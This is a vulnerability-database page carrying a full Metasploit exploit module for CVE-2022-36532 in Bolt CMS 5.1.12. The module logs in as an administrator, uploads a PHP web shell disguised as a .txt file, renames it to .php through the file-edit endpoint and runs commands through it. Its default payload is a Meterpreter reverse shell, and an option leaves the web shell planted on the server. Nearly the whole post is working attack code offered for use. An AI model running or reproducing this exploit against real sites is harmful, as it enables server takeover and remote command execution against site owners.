Bolt CMS 5.1.12 Authenticated File Rename Remote Code Execution
| Reporter | Title | Published | Views | Family All 16 |
|---|---|---|---|---|
| Exploit for CVE-2022-36532 | 1 Nov 202614:52 | – | githubexploit | |
| Exploit for CVE-2022-36532 | 5 Sep 202207:39 | – | githubexploit | |
| CVE-2022-36532 | 16 Sep 202203:15 | – | attackerkb | |
| CVE-2022-36532 | 1 Nov 202619:00 | – | circl | |
| Bolt Financial Bolt CMS security vulnerability | 16 Sep 202200:00 | – | cnnvd | |
| Bolt CMS Arbitrary File Upload (CVE-2022-36532) | 22 Nov 202200:00 | – | checkpoint_advisories | |
| CVE-2022-36532 | 16 Sep 202202:26 | – | cve | |
| CVE-2022-36532 | 16 Sep 202202:26 | – | cvelist | |
| CVE-2022-36532 | 7 Nov 202603:48 | – | kitploit | |
| CVE-2022-36532 | 16 Sep 202202:26 | – | mend |
10
==================================================================================================================================
| # Title : Bolt CMS 5.1.12 Authenticated File Rename RCE |
| # Author : indoushka |
| # Tested on : windows 11 Fr(Pro) / browser : Mozilla firefox 159.0 (64 bits) |
| # Vendor : https://boltcms.io/ |
==================================================================================================================================
[+] Summary : Bolt CMS <= 5.1.12 allows an authenticated administrator to upload a file through the file manager, then rename it via the file-edit endpoint to a .php extension.
[+] POC :
##
# This module requires Metasploit: https://metasploit.com/download
# Current source: https://github.com/rapid7/metasploit-framework
##
require 'securerandom'
class MetasploitModule < Msf::Exploit::Remote
Rank = ExcellentRanking
include Msf::Exploit::Remote::HttpClient
include Msf::Exploit::FileDropper
def initialize(info = {})
super(update_info(info,
'Name' => 'Bolt CMS Authenticated File Rename RCE (CVE-2022-36532)',
'Description' => %q{
Bolt CMS <= 5.1.12 allows an authenticated administrator to upload a
file through the file manager, then rename it via the file-edit
endpoint to a .php extension. The uploaded PHP code is then served and
executed under the web server account.
The chain:
1. GET /bolt/login — read the login CSRF token
2. POST /bolt/login — authenticate as administrator
3. GET /bolt/filemanager/files — read the file-manager CSRF token
4. POST /bolt/async/upload — upload PHP as a .txt file
5. GET /bolt/file-edit/files — read the file-edit CSRF token
6. POST /bolt/file-edit/files — rename .txt to .php, write PHP
7. GET /files/<name>.php?c=<cmd> — execute the PHP
The module supports command execution (CMD) and reverse shells
(PAYLOAD). It also supports cleanup via /bolt/async/delete.
CVE-2022-36532, adapted from the original PoC by v0rtex.
},
'Author' => [ 'indoushka' ],
'License' => MSF_LICENSE,
'References' => [
[ 'CVE', '2022-36532' ],
[ 'URL', 'https://github.com/bolt/core' ],
[ 'CWE', 'CWE-434' ],
[ 'CWE', 'CWE-22' ]
],
'DisclosureDate' => '2022-07-15',
'Platform' => 'php',
'Arch' => ARCH_PHP,
'Targets' => [['PHP Payload', {}]],
'DefaultTarget' => 0,
'Privileged' => false,
'DefaultOptions' => { 'PAYLOAD' => 'php/meterpreter/reverse_tcp' }
))
register_options([
Opt::RPORT(80),
OptBool.new('SSL', [false, 'Use SSL', false]),
OptString.new('TARGETURI', [true, 'Base path to Bolt CMS', '/']),
OptString.new('USERNAME', [true, 'Administrator username']),
OptString.new('PASSWORD', [true, 'Administrator password']),
OptBool.new('KEEP_PAYLOAD', [false, 'Do not delete the uploaded PHP', false]),
OptInt.new('TIMEOUT', [true, 'HTTP timeout in seconds', 15])
])
end
LOGIN_PATH = '/bolt/login'
FILEMANAGER_PATH = '/bolt/filemanager/files'
UPLOAD_PATH = '/bolt/async/upload'
FILE_EDIT_PATH = '/bolt/file-edit/files'
DELETE_PATH = '/bolt/async/delete'
FILES_PREFIX = '/files/'
LOGIN_TOKEN_RE = /name="login\[_token\]" value="(.*?)"/
CSRF_RE = /type="hidden" name="_csrf_token" value="(.*?)">/
def check
res = send_request_cgi({
'method' => 'GET',
'uri' => normalize_uri(target_uri.path, 'bolt', 'login')
}, datastore['TIMEOUT'])
return Exploit::CheckCode::Unknown unless res
if res.code == 200 && res.body =~ /bolt/i
return Exploit::CheckCode::Detected
end
Exploit::CheckCode::Safe
end
def exploit
print_status("Target: #{full_target}")
login_token = fetch_login_token
authenticate(login_token)
csrf = fetch_csrf(FILEMANAGER_PATH)
name = SecureRandom.hex(15)
txt = "#{name}.txt"
php = "#{name}.php"
print_status("Step 4 — uploading PHP as #{txt}")
upload_file(csrf, txt)
csrf = fetch_csrf("#{FILE_EDIT_PATH}?file=/#{txt}")
print_status("Step 6 — renaming #{txt} -> #{php} and writing payload")
rename_to_php(csrf, txt, php)
shell_url = normalize_uri(target_uri.path, FILES_PREFIX, php)
print_status("Step 7 — triggering #{shell_url}")
if payload_is_php?
trigger_php_payload(shell_url)
else
trigger_command(shell_url)
end
unless datastore['KEEP_PAYLOAD']
cleanup_php(php)
else
print_warning("KEEP_PAYLOAD=true — webshell left at #{shell_url}?c=<cmd>")
end
end
def fetch_login_token
print_status('Step 1 — fetching login CSRF token')
res = send_request_cgi({
'method' => 'GET',
'uri' => normalize_uri(target_uri.path, 'bolt', 'login')
}, datastore['TIMEOUT'])
fail_with(Failure::Unreachable, 'No response from login page') unless res
fail_with(Failure::UnexpectedReply, "Login page HTTP #{res.code}") unless res.code == 200
match = res.body.match(LOGIN_TOKEN_RE)
fail_with(Failure::UnexpectedReply, 'Login token not found') unless match
token = match[1]
print_good("Login token: #{token[0, 16]}...")
token
end
def authenticate(login_token)
print_status('Step 2 — authenticating')
res = send_request_cgi({
'method' => 'POST',
'uri' => normalize_uri(target_uri.path, 'bolt', 'login'),
'ctype' => 'application/x-www-form-urlencoded',
'vars_post' => {
'login[username]' => datastore['USERNAME'],
'login[password]' => datastore['PASSWORD'],
'login[remember_me]' => '1',
'login[_token]' => login_token
}
}, datastore['TIMEOUT'])
fail_with(Failure::Unreachable, 'No response from login POST') unless res
if res.code >= 400 || (res.headers['Location'] || '').include?('login')
fail_with(Failure::NoAccess, "Login failed: HTTP #{res.code}")
end
print_good('Login accepted')
end
def fetch_csrf(path)
res = send_request_cgi({
'method' => 'GET',
'uri' => normalize_uri(target_uri.path, path)
}, datastore['TIMEOUT'])
fail_with(Failure::Unreachable, "No response from #{path}") unless res
fail_with(Failure::UnexpectedReply, "#{path} returned HTTP #{res.code}") unless res.code == 200
match = res.body.match(CSRF_RE)
fail_with(Failure::UnexpectedReply, "CSRF token not found at #{path}") unless match
match[1]
end
def upload_file(csrf, filename)
boundary = "----WebKitFormBoundary#{SecureRandom.hex(8)}"
php_content = <<~PHP
<?php
if (isset($_REQUEST['c'])) {
$c = $_REQUEST['c'];
if (function_exists('system')) { system($c); }
elseif (function_exists('passthru')) { passthru($c); }
elseif (function_exists('shell_exec')) { echo shell_exec($c); }
elseif (function_exists('exec')) { exec($c, $o); echo implode("\\n", $o); }
elseif (function_exists('popen')) { $h = popen($c, 'r'); while (!feof($h)) { echo fread($h, 4096); } pclose($h); }
else { echo 'no exec function'; }
}
?>
PHP
body = [
"--#{boundary}",
'Content-Disposition: form-data; name="_csrf_token"',
'',
csrf,
"--#{boundary}",
"Content-Disposition: form-data; filename=\"#{filename}\"",
'',
php_content,
"--#{boundary}--",
''
].join("\r\n")
res = send_request_cgi({
'method' => 'POST',
'uri' => normalize_uri(target_uri.path, UPLOAD_PATH),
'vars_get' => { 'location' => 'files', 'path' => '/' },
'ctype' => "multipart/form-data; boundary=#{boundary}",
'data' => body
}, datastore['TIMEOUT'])
fail_with(Failure::Unreachable, 'No response from upload') unless res
uploaded = parse_upload_response(res.body, filename)
fail_with(Failure::UnexpectedReply, "Upload failed: #{res.body[0, 200]}") unless uploaded
print_good("Uploaded #{filename}")
end
def parse_upload_response(body, default_name)
json = JSON.parse(body) rescue nil
if json.is_a?(String)
return json
elsif json.is_a?(Hash)
if json['files'].is_a?(Array) && !json['files'].empty?
return json['files'][0]['name'] || default_name
end
fail_with(Failure::UnexpectedReply, "Upload error: #{json['error']}") if json['error']
end
default_name if body.include?(default_name)
end
def rename_to_php(csrf, txt, php)
php_content = <<~PHP
<?php
if (isset($_REQUEST['c'])) {
$c = $_REQUEST['c'];
if (function_exists('system')) { system($c); }
elseif (function_exists('passthru')) { passthru($c); }
elseif (function_exists('shell_exec')) { echo shell_exec($c); }
elseif (function_exists('exec')) { exec($c, $o); echo implode("\\n", $o); }
elseif (function_exists('popen')) { $h = popen($c, 'r'); while (!feof($h)) { echo fread($h, 4096); } pclose($h); }
else { echo 'no exec function'; }
}
?>
PHP
res = send_request_cgi({
'method' => 'POST',
'uri' => normalize_uri(target_uri.path, FILE_EDIT_PATH),
'vars_get' => { 'file' => "/#{php}" },
'vars_post' => {
'file' => txt,
'location' => 'files',
'_csrf_token' => csrf,
'editfile' => php_content,
'save' => ''
}
}, datastore['TIMEOUT'])
fail_with(Failure::Unreachable, 'No response from rename') unless res
print_status("Rename response: HTTP #{res.code}")
unless res.code == 200 || res.code == 302
fail_with(Failure::UnexpectedReply, "Rename failed: HTTP #{res.code}")
end
print_good("Renamed #{txt} -> #{php}")
end
def trigger_php_payload(shell_url)
php_b64 = Base64.strict_encode64(payload.encoded)
cmd = "echo #{php_b64} | base64 -d > /tmp/msf_payload.php; php /tmp/msf_payload.php"
res = send_request_cgi({
'method' => 'GET',
'uri' => shell_url,
'vars_get' => { 'c' => cmd }
}, datastore['TIMEOUT'])
fail_with(Failure::Unreachable, 'No response from trigger') unless res
print_status("Trigger response: HTTP #{res.code}")
print_line(res.body.to_s[0, 300]) if res.body && res.body.bytesize > 0
end
def trigger_command(shell_url)
res = send_request_cgi({
'method' => 'GET',
'uri' => shell_url,
'vars_get' => { 'c' => payload.encoded }
}, datastore['TIMEOUT'])
fail_with(Failure::Unreachable, 'No response from trigger') unless res
print_status("Trigger response: HTTP #{res.code}")
print_line(res.body.to_s[0, 500]) if res.body && res.body.bytesize > 0
end
def cleanup_php(php)
print_status("Cleanup — deleting #{php}")
csrf = fetch_csrf(FILEMANAGER_PATH)
res = send_request_cgi({
'method' => 'POST',
'uri' => normalize_uri(target_uri.path, DELETE_PATH),
'vars_post' => {
'location' => 'files',
'path' => '/',
'files[]' => php,
'_csrf_token' => csrf
}
}, datastore['TIMEOUT'])
if res && res.code == 200
print_good("Deleted #{php}")
else
print_warning("Could not delete #{php}; remove it manually from /files/#{php}")
end
rescue StandardError => e
print_warning("Cleanup failed: #{e.message}")
end
def payload_is_php?
framework.payloads[datastore['PAYLOAD']].is_a?(Msf::Payload::Php)
end
def full_target
scheme = datastore['SSL'] ? 'https' : 'http'
"#{scheme}://#{rhost}:#{rport}"
end
end
Greetings to :==============================================================================
jericho * Larry W. Cashdollar * r00t * Yougharta Ghenai * Malvuln (John Page aka hyp3rlinx)|
============================================================================================Data
Build on a solid foundation with Vulners data
We provide the essential building blocks for cybersecurity solutions with comprehensive, structured, and constantly updated vulnerability and exploits data
Api
Power your application with Vulners API
The Vulners REST API offers reliable, high-performance access to vulnerability intelligence, with 99.9% SLA uptime and CDN-backed data delivery for seamless global access
App
Assess and manage vulnerabilities with Vulners tools
Built on top of Vulners' database and SDK, end-user solutions give security professionals and developers lightweight and powerful tools for vulnerability remediation
04 Nov 2026 00:00Current
8.4High risk
Vulners AI Score8.4
CVSS 3.18.8
EPSS0.25582